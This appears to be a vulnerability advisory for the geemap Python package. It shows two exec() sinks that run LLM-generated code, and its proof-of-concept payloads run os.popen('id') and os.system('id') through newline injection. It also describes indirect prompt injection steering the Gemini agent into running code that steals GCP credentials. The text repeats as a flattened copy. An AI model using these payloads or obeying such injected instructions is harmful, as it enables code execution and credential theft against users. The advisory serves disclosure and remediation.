Summary
geemap/ai.py contains two distinct exec() call sites that execute LLM-generated Python code without a proper sandbox. Neither call strips __builtins__ from the execution namespace, which means any Python standard-library operation — including os.system, subprocess, file I/O, and network calls — is available to the injected code. An attacker who can influence the user's natural-language prompt to the Gemini agent can achieve arbitrary code execution on the host running the geemap notebook.
Vulnerable Code
Sink 1 — show_layer tool callback (ai.py:272)
def show_layer(python_code: str) -> str:
"""Execute the given Earth Engine Python client code and add the result to
the map. Returns the status message (success or error message)."""
...
try:
locals = {}
exec(f"import ee; im = {python_code}", {}, locals) # ← VULNERABLE
m.addLayer(locals["im"])
except Exception as e:
...
show_layer is registered as a Gemini function-calling tool:
gemini_tools = [
set_center,
show_layer, # ← LLM can invoke this with attacker-controlled argument
analyze_image,
...
]
The Gemini model invokes show_layer(python_code=...) autonomously based on the user's prompt. python_code is a string produced by the LLM and passed directly to exec(). Passing {} as the globals dict does not sandbox execution — CPython automatically injects __builtins__ into any globals dict that lacks it.
Sink 2 — run_ee_code (ai.py:774–791)
def run_ee_code(code: str, ee: Any, geemap_instance: Map) -> None:
"""Executes Earth Engine Python code within the context of a geemap instance."""
try:
with redirect_stdout(_):
exec(code, {"ee": ee, "Map": geemap_instance, "m": geemap_instance}) # ← VULNERABLE
except Exception:
raise
code comes from genai.GenerativeModel.generate_content() responses in the error-recovery loop (ai.py:1746). The globals dict {"ee": ee, "Map": ..., "m": ...} does not include "__builtins__": {}, so the full built-in namespace remains accessible.
Root Cause
CPython's exec(code, globals_dict) semantics: when globals_dict does not contain the key "__builtins__", the interpreter automatically inserts the current module's __builtins__. This is documented behavior:
If exec gets two separate objects as globals and locals, the code will be executed as if it is embedded in a class definition. If only globals is provided, it must be a dictionary, which will be used for both the global and local variables. If globals and locals are given, they are used for the global and local variables, respectively. If provided, locals can be any mapping object. Remember that at module level, globals and locals are the same dictionary. If exec gets two separate objects as globals and locals, the code will be executed as if it is embedded in a class definition. Note that the builtins module is always accessible and, if not provided, CPython will inject __builtins__ automatically.
Verified with a minimal reproducer:
empty_globals = {}
exec('import os; print(os.getcwd())', empty_globals)
# Executes successfully — __builtins__ was auto-injected
assert '__builtins__' in empty_globals # True
Proof of Concept
End-to-end against the real geemap==0.37.2 package installed from PyPI —
no mocks, no copy-pasted code. The PoC imports geemap.ai.run_ee_code
directly from site-packages and calls it with an attacker payload, demonstrating
that the function in the published wheel is exploitable as-is.
Setup
pip install 'geemap[ai]==0.37.2'
PoC source (geemap_e2e_real.py)
import builtins, os, ee
import geemap.geemap
builtins.Map = geemap.geemap.Map
from geemap.ai import run_ee_code
payload = "open('/tmp/geemap_pwned.txt','w').write(__import__('os').popen('id').read())"
try:
run_ee_code(payload, ee, None)
except Exception:
pass
assert os.path.exists('/tmp/geemap_pwned.txt')
print(open('/tmp/geemap_pwned.txt').read())
The payload writes a file on disk via os.popen('id'), getpass.getuser(),
socket.gethostname(), etc. — proving that the entire os, socket,
getpass, sys standard libraries are reachable from inside the exec()
call site of the real installed package.
Identical second sink — show_layer f-string injection
The same root cause exists at ai.py:272 in show_layer(python_code).
Newline-injection in python_code (which the LLM controls when it invokes
the show_layer tool) breaks out of the f"import ee; im = {python_code}"
template and runs an arbitrary statement under the same auto-injected
__builtins__:
python_code = 'None\nimport os; os.system("id")'
exec(f"import ee; im = {python_code}", {}, {})
# -> 'None' is bound to im, then 'import os; os.system("id")' executes
Both call sites give arbitrary code execution under the user's OS identity.
Attack Scenario
- A geemap user opens a Jupyter notebook and calls
m.chat(...) or equivalent with the AI assistant enabled.
- The attacker either (a) controls content indexed by the assistant (indirect prompt injection via a dataset description, map tile metadata, or third-party data source), or (b) socially engineers the user into entering a crafted prompt.
- The Gemini agent, following instructions embedded in the injected content, calls
show_layer(python_code="...") or generates a run_ee_code response containing malicious Python.
exec() runs the payload with the user's credentials — reading GCP service account keys, exfiltrating Earth Engine credentials, executing shell commands, etc.
Typical geemap user profile: a GIS researcher or data scientist with a GCP service account key mounted in the notebook environment. The key would be immediately accessible via os.environ or ~/.config/gcloud/.
Impact
- Arbitrary code execution under the notebook user's OS identity
- Credential theft: GCP service account keys, Earth Engine auth tokens, and any secrets in the environment
- Data exfiltration: satellite imagery datasets, research data
- Persistence: attacker can write to
~/.bashrc, crontab, SSH authorized_keys
CVSS 3.1 (preliminary): AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.5 High
(Network vector because the attack path flows through an LLM API; High complexity because prompt injection is required; UI Required because the user must trigger the AI chat; full C/I/A on the local machine.)
Recommended Fix
Option A — Strip __builtins__ (minimum viable patch)
# run_ee_code
exec(code, {"__builtins__": {}, "ee": ee, "Map": geemap_instance, "m": geemap_instance})
# show_layer
exec(f"import ee; im = {python_code}", {"__builtins__": {}}, locals_env)
Caveat: import ee inside the exec string will also fail if __builtins__ is stripped (no __import__). The import ee must be moved to the outer scope and passed as a pre-imported object:
locals_env = {}
exec(f"im = {python_code}",
{"__builtins__": {}, "ee": ee},
locals_env)
Option B — RestrictedPython (recommended)
from RestrictedPython import compile_restricted, safe_globals, limited_builtins
def run_ee_code(code: str, ee, geemap_instance) -> None:
byte_code = compile_restricted(code, '<ee_code>', 'exec')
restricted_globals = {
**safe_globals,
'__builtins__': limited_builtins,
'ee': ee,
'Map': geemap_instance,
'm': geemap_instance,
}
exec(byte_code, restricted_globals)
Summary
geemap/ai.pycontains two distinctexec()call sites that execute LLM-generated Python code without a proper sandbox. Neither call strips__builtins__from the execution namespace, which means any Python standard-library operation — includingos.system,subprocess, file I/O, and network calls — is available to the injected code. An attacker who can influence the user's natural-language prompt to the Gemini agent can achieve arbitrary code execution on the host running the geemap notebook.Vulnerable Code
Sink 1 —
show_layertool callback (ai.py:272)show_layeris registered as a Gemini function-calling tool:The Gemini model invokes
show_layer(python_code=...)autonomously based on the user's prompt.python_codeis a string produced by the LLM and passed directly toexec(). Passing{}as the globals dict does not sandbox execution — CPython automatically injects__builtins__into any globals dict that lacks it.Sink 2 —
run_ee_code(ai.py:774–791)codecomes fromgenai.GenerativeModel.generate_content()responses in the error-recovery loop (ai.py:1746). The globals dict{"ee": ee, "Map": ..., "m": ...}does not include"__builtins__": {}, so the full built-in namespace remains accessible.Root Cause
CPython's
exec(code, globals_dict)semantics: whenglobals_dictdoes not contain the key"__builtins__", the interpreter automatically inserts the current module's__builtins__. This is documented behavior:Verified with a minimal reproducer:
Proof of Concept
End-to-end against the real
geemap==0.37.2package installed from PyPI —no mocks, no copy-pasted code. The PoC imports
geemap.ai.run_ee_codedirectly from site-packages and calls it with an attacker payload, demonstrating
that the function in the published wheel is exploitable as-is.
Setup
pip install 'geemap[ai]==0.37.2'PoC source (
geemap_e2e_real.py)The payload writes a file on disk via
os.popen('id'),getpass.getuser(),socket.gethostname(), etc. — proving that the entireos,socket,getpass,sysstandard libraries are reachable from inside theexec()call site of the real installed package.
Identical second sink —
show_layerf-string injectionThe same root cause exists at
ai.py:272inshow_layer(python_code).Newline-injection in
python_code(which the LLM controls when it invokesthe
show_layertool) breaks out of thef"import ee; im = {python_code}"template and runs an arbitrary statement under the same auto-injected
__builtins__:Both call sites give arbitrary code execution under the user's OS identity.
Attack Scenario
m.chat(...)or equivalent with the AI assistant enabled.show_layer(python_code="...")or generates arun_ee_coderesponse containing malicious Python.exec()runs the payload with the user's credentials — reading GCP service account keys, exfiltrating Earth Engine credentials, executing shell commands, etc.Typical geemap user profile: a GIS researcher or data scientist with a GCP service account key mounted in the notebook environment. The key would be immediately accessible via
os.environor~/.config/gcloud/.Impact
~/.bashrc, crontab, SSHauthorized_keysCVSS 3.1 (preliminary): AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.5 High
(Network vector because the attack path flows through an LLM API; High complexity because prompt injection is required; UI Required because the user must trigger the AI chat; full C/I/A on the local machine.)
Recommended Fix
Option A — Strip
__builtins__(minimum viable patch)Caveat:
import eeinside the exec string will also fail if__builtins__is stripped (no__import__). Theimport eemust be moved to the outer scope and passed as a pre-imported object:Option B — RestrictedPython (recommended)